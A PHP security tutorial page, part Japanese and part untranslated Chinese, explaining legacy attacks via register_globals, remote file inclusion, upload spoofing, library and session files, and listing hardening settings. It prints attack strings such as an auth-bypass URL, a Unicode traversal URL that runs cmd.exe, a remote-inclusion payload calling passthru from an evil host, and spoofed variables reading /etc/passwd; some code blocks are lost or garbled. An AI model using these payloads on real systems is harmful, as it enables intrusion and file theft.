ホームページ  >  記事  >  バックエンド開発  >  一般的な PHP 脆弱性攻撃の分析、PHP 脆弱性攻撃_PHP チュートリアル

一般的な PHP 脆弱性攻撃の分析、PHP 脆弱性攻撃_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-12 08:58:45781ブラウズ

一般的な PHP 脆弱性攻撃の分析、PHP 脆弱性攻撃

要約: PHP プログラムは難攻不落ではありませんが、PHP が広く使用されているため、一部のハッカーは PHP プログラムの脆弱性を利用した攻撃を常に探しています。一種の。このセクションでは、グローバル変数、リモート ファイル、ファイル アップロード、ライブラリ ファイル、セッション ファイル、データ型、エラーが発生しやすい関数の側面から PHP のセキュリティを分析します。

グローバル変数を介して攻撃するにはどうすればよいですか?

PHP の変数は事前に宣言する必要はなく、初めて使用するときに自動的に作成され、その型はコンテキストに基づいて自動的に決定されます。プログラマの観点から見ると、これは間違いなく非常に便利な方法です。変数を作成したら、プログラム内のどこでも使用できます。この機能の結果、プログラマは変数を初期化することがほとんどなくなります。

明らかに、PHP ベースのアプリケーションの main 関数は通常、ユーザー入力 (主にフォーム変数、アップロードされたファイル、Cookie など) を受け入れ、入力データを処理して、結果をクライアントのブラウザーに返します。 PHP コードがユーザー入力にできるだけ簡単にアクセスできるようにするために、PHP は実際にこの入力データをグローバル変数として扱います。

例:

プログラムコード

リーリー

これにより、テキストボックスと送信ボタンが表示されます。ユーザーが送信ボタンをクリックすると、「test.php」がユーザーの入力を処理します。「test.php」が実行されると、ユーザーがテキスト ボックスに入力したデータが「$hello」に含まれます。ここから、攻撃者が自分の希望に応じて任意のグローバル変数を作成できることがわかります。攻撃者がフォーム入力を通じて「test.php」を呼び出すのではなく、ブラウザのアドレスバーに http://server/test.php?hello=hi&setup=no を直接入力すると、「$hello」だけでなく、 「$setup」も作成されます。

次のユーザー認証コードは、PHP のグローバル変数によって引き起こされるセキュリティ問題を明らかにします:

プログラムコード

リーリー

上記のコードは、まずユーザーのパスワードが「hello」であるかどうかを確認し、一致する場合は、「$auth」を「1」に設定します。これは、認証が成功したことを意味します。その後、「$suth」が「1」の場合、いくつかの重要な情報が表示されます。

このコードは、値が設定されていない場合は「$auth」が空であると想定していますが、攻撃者は「http://server/test.php?auth=1」のようなメソッドを通じて、任意のグローバル変数を作成し、値を割り当てることができます。このコードを完全に騙して、自分が認証されていると信じ込ませることができます。

したがって、PHP プログラムのセキュリティを向上させるために、明確に定義されていない変数は信頼できません。プログラム内に多くの変数がある場合、これは非常に困難な作業になる可能性があります。

一般的な保護方法は、配列 HTTP_GET[] または POST_VARS[] 内の変数をチェックすることです。これは送信方法 (GET または POST) に応じて異なります。 PHP が「track_vars」オプションをオンにして構成されている場合 (これがデフォルトです)、ユーザーが送信した変数はグローバル変数と上記の配列で使用できます。

しかし、PHP にはユーザー入力を処理するための 4 つの異なる配列変数があることは言及する価値があります。 HTTP_GET_VARS 配列は GET モードで送信された変数の処理に使用され、HTTP_POST_VARS 配列は POST モードで送信された変数の処理に使用され、HTTP_COOKIE_VARS 配列は Cookie ヘッダーとして送信された変数の処理に使用され、HTTP_POST_FILES 配列 (比較的新しい PHP によって提供される) に使用されます。 )、これはユーザーが変数を送信するための完全にオプションの方法です。ユーザーリクエストは変数をこれら 4 つの配列に簡単に保存できるため、安全な PHP プログラムはこれら 4 つの配列をチェックする必要があります。 リモートファイル経由で攻撃するにはどうすればよいですか?

PHP は、プログラマーが特定の関数を簡単に実装できるようにするための多数の関数を提供する機能豊富な言語です。しかし、セキュリティの観点から見ると、機能が多ければ多いほど、安全に保つことが難しくなり、リモート ファイルはこの問題の良い例です:

プログラムコード

リーリー

上記のスクリプトは、ファイル「$filename」を開こうとしますが、失敗するとエラー メッセージが表示されます。明らかに、「$filename」を指定できれば、このスクリプトを使用してシステム上の任意のファイルを参照できます。ただし、このスクリプトのあまり目立たない機能は、他の WEB サイトまたは FTP サイトからファイルを読み取ることができることです。実際、PHP のファイル処理関数のほとんどは、リモート ファイルを透過的に処理します。

例:

「$filename」を「http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir」と指定した場合

上記のコードは、実際にはホスト ターゲットの Unicode 脆弱性を悪用して dir コマンドを実行します。これにより、リモート ファイルに対する include()、require()、include_once()、および require_once() のサポートがコンテキストでより興味深いものになります。これらの関数の主な機能は、指定されたファイルの内容を組み込み、PHP コードに従って解釈することです。これらは主にライブラリ ファイルで使用されます。

例:

プログラムコード

<?php
include($libdir . "/languages.php");
?>

上例中"$libdir"一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得"$libdir"没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的"Poisonnull byte"攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件languages.php,包含如下内容:

程序代码

<?php
passthru("/bin/ls /etc");
?>

然后把"$libdir"设置为"http://<evilhost>/",这样我们就可以在目标主机上执行上面的攻击代码,"/etc"目录的内容将作为结果返回到客户的浏览器中。

需要注意的是,攻击代码是不会在自身所在的服务器(也就是evilhost)上执行执行自身PHP程序的,否则,攻击代码会攻击自身所在的服务器,而不是在目标服务器执行。

如何通过文件上载进行攻击?

PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:

程序代码

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式将使这项功能变得不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过"$MAX_FILE_SIZE variable"定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。

让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且是存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似"phpxXuoXG"的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。

大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:

程序代码

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

然后,PHP程序开始处理根据"$hello"指定的文件。问题在于"$hello"不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:

http://vulnhost/vuln.php?hello=/ ... e=10240&hello_type=
text/plain&hello_name=hello.txt

就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):

程序代码

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理本应在上载者本机上的上载文件,而是处理服务器上"/etc/passwd"(通常会导致内容暴露)文件。这种攻击可以用于暴露任何敏感文件的内容。

新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。但是实际上肯定有很多PHP程序仍然使用旧的方法,所以也很容易受到这种攻击。

作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:

<?php
if (file_exists($theme)) // Checks the file exists on the local system (noremote files)
include("$theme");
?>

如果攻击者可以控制"$theme"的话,很显然它可以利用"$theme"来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为"theme"的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把"$theme"的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。

获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了攻击者的忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。 例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。

如何通过库文件进行攻击?

正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。

最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个".inc"的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是".php", ".php3"和".php4"。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者很容易得到这些信息。

最简单的解决方法就是:给每个文件都指定一个PHP文件的扩展名,这样可以很好的防止泄露源代码的问题,但是又产生了新的问题,通过请求这个文件,攻击者可能使本该在上下文环境中运行的代码独立运行,这可能导致前面讨论的全部攻击。

下面是一个很明显的例子:

In main.php:

<?php 
$libDir = "/libdir"; 
$langDir = "$libdir/languages"; 
... 
include("$libdir/loadlanguage.php": 
?>
In libdir/loadlanguage.php: 
<?php 
...
include("$langDir/$userLang"); 
?>

当"libdir/loadlanguage.php"被"main.php"调用时是相当安全的,但是因为"libdir/loadlanguage"具有".php"的扩展名,因此远程攻击者可以直接请求这个文件,并且可以任意指定"$langDir"和"$userLang"的值。

如何通过Session文件进行攻击?

PHP 4或更新的版本提供了对sessions的支持,它的主要作用是在PHP程序中保存页与页之间的状态信息。例如,当一个用户登陆进入网站,他登陆了的这个事实以及谁登陆进入这个网站的相关信息都将被保存在session中,当他在网站中到处浏览时,所有的PHP代码都可以获得这些状态信息。

事实上,当一个session启动时(实际上是在配置文件中设置为在第一次请求时自动启动),就会生成一个随机的"session id",如果远程浏览器总是在发送请求时提交这个"session id"的话,session就会一直保持。这通过Cookie很容易实现,也可以通过在每页提交一个表单变量(包含"session id")来实现。PHP程序可以用session注册一个特殊的变量,它的值会在每个PHP脚本结束后存在session文件中,也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子:

<?php 
session_destroy(); // Kill any data currently in the session 
$session_auth = "shaun"; 
session_register("session_auth"); // Register $session_auth as a session variable 
?>

新版本的PHP都会自动把"$session_auth"的值设置为"shaun",如果它们被修改的话,以后的脚本都会自动接受修改后的值,这对无状态的Web来说的确是种很不错的工具,但是我们也应该小心。

一个很明显的问题就是确保变量的确来自session,例如,给定上面的代码,如果后续的脚本是下面这样的话:

<?php 
if (!empty($session_auth)) 
// Grant access to site here 
?>

上面的代码假定如果"$session_auth"被赋值的话,就是从session,而不是从用户输入来赋值的,如果攻击者通过表单输入来赋值的话,他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法,一旦变量被放进了session,就会覆盖任何表单输入。

Session数据一般是保存在文件中(位置是可配置的,一般是"/tmp"),文件名一般是类似"sess_<session id>"的形式,这个文件包含变量名称,变量类型,变量值和一些其它的数据。在多主机系统中,因为文件是以运行Web服务器的用户身份(一般是nobody)保存的,因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问,甚至可以检查session文件中的敏感信息。

Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便。对于上面的例子来说,攻击者需要在远程系统放置一个包含PHP代码的文件,如果不能利用文件上载做到的话,他通常会利用session为一个变量按照自己的意愿赋一个值,然后猜测session文件的位置,而他知道文件名是"php<session id>",所以只需猜测目录,而目录一般就是"/tmp"。

另外,攻击者可以任意指定"session id"(例如"hello"),然后用这个"session id"创建一个session文件(例如"/tmp/sess_hello"),但是"session id"只能是字母和数字组合。

如何通过数据类型进行攻击?

PHP には緩いデータ型があり、変数の型は変数が配置されているコンテキストによって異なります。例: "$hello" は値 "" を持つ文字列変数として開始されますが、評価中に整数変数 "0" になり、予期しない結果が生じる場合があります。 "$hello" の値が "000" と "0" の間で異なる場合、empty() によって返される結果は true ではありません。

PHP の配列は連想配列です。つまり、配列のインデックスは文字列型です。これは、「$hello["000"]」と「$hello[0]」も異なることを意味します。

プログラムを開発する際には、上記の問題を注意深く考慮する必要があります。たとえば、ある場所で変数が「0」であるかどうかをテストし、別の場所でそれを検証するために empty() を使用するべきではありません。

エラーが発生しやすい機能を介して攻撃するにはどうすればよいですか?以下は、エラーが発生しやすい関数の詳細なリストです:

<PHPコード実行>

require(): 指定されたファイルの内容を読み取り、PHP コードとして解釈します
include(): 上記と同じ
eval(): 指定された文字列を PHP コードとして実行します
preg_replace(): 「/e」スイッチと一緒に使用すると、置換文字列は PHP コードとして解釈されます

<コマンド実行>

exec(): 指定されたコマンドを実行し、実行結果の最後の行を返します
passthru(): 指定されたコマンドを実行し、すべての結果をクライアントのブラウザーに返します
``: 指定されたコマンドを実行し、すべての結果を配列に返します
system(): passthru() と同じですが、バイナリデータを処理しません
Popen(): 指定されたコマンドを実行し、入力または出力を PHP ファイル記述子に接続します

<ファイル流出>

fopen(): ファイルを開き、PHP ファイル記述子に対応します
readfile(): ファイルの内容を読み取り、クライアントのブラウザに出力します
file(): ファイルの内容全体を配列に読み取ります
PHP のセキュリティを強化するにはどうすればよいですか?

上記で紹介した攻撃はすべて、デフォルトでインストールされている PHP4 に対して適切に実装できますが、PHP の構成は非常に柔軟であり、いくつかの PHP オプションを構成することで、これらの攻撃の一部に対抗することが完全に可能です。以下では、実装の難易度に応じていくつかの構成を分類します。

*難易度低め
**低から中程度の難易度
***中~高難易度
****高難易度

PHP が提供するすべてのオプションを使用すると、PHP の機能の多くが使用できなくなるため、サードパーティのコードであっても PHP は非常に安全になります。

**** 「register_globals」を「off」に設定します
このオプションは、PHP によるユーザー入力のグローバル変数の作成を無効にします。つまり、ユーザーがフォーム変数 "hello" を送信した場合、PHP は "$hello" を作成せず、"HTTP_GET/POST_VARS[''hello''] のみを作成します。 「。」これは PHP では非常に重要なオプションです。このオプションをオフにすると、プログラミングに大きな不便が生じます。

***「セーフモード」を「オン」に設定します

このオプションを開くと、次の制限が追加されます:

1. 実行できるコマンドを制限する
2. 使用できる機能を制限する
3. スクリプトの所有権とターゲットファイルの所有権に基づくファイルアクセス制限
4. ファイルアップロード機能を無効にする

これは ISP にとって「素晴らしい」オプションであり、PHP のセキュリティも大幅に向上します。

** 「open_basedir」を設定します

このオプションは、指定されたディレクトリ外でのファイル操作を禁止し、ローカル ファイルまたはリモート ファイルに対する include() による攻撃を効果的に排除できますが、ファイル アップロードやセッション ファイルに対する攻撃には依然として注意する必要があります。

** 「display_errors」を「off」に設定し、「log_errors」を「on」に設定します

このオプションは、エラー メッセージが Web ページに表示されないようにし、代わりにログ ファイルに記録します。これにより、攻撃者がターゲット スクリプト内の関数を検出するのを効果的に阻止できます。

* 「allow_url_fopen」を「off」に設定します

このオプションはリモートファイル機能を無効にすることができます。

上記の内容は編集者が紹介した一般的なPHP脆弱性攻撃の分析であり、皆様のお役に立てれば幸いです。

興味がありそうな記事:

  • ThinkPHP フレームワークにおける任意コード実行の脆弱性の悪用とその修復方法
  • php5 シリーズ向けの Apache リモート実行脆弱性攻撃スクリプト
  • PHP における SQL インジェクションの脆弱性の例 SQL インジェクション脆弱性修復
  • phpの脆弱性 クロスサイトリクエストフォージェリと偽造を防ぐ方法
  • PHPの脆弱性を徹底解説(詳しく紹介)
  • 比較的使いやすいPHPのアンチインジェクション脆弱性フィルタリング関数コード
  • PHPへのSQLインジェクション脆弱性攻撃を防ぐ方法コード Web サイト 提案の共有

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/1101654.html技術記事一般的な PHP 脆弱性攻撃の分析、PHP 脆弱性攻撃のレビュー: PHP プログラムは難攻不落ではありませんが、PHP が広く使用されているため、一部のハッカーは常に PHP の問題を探しており、PHP プログラムを通じて情報を漏洩しています...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。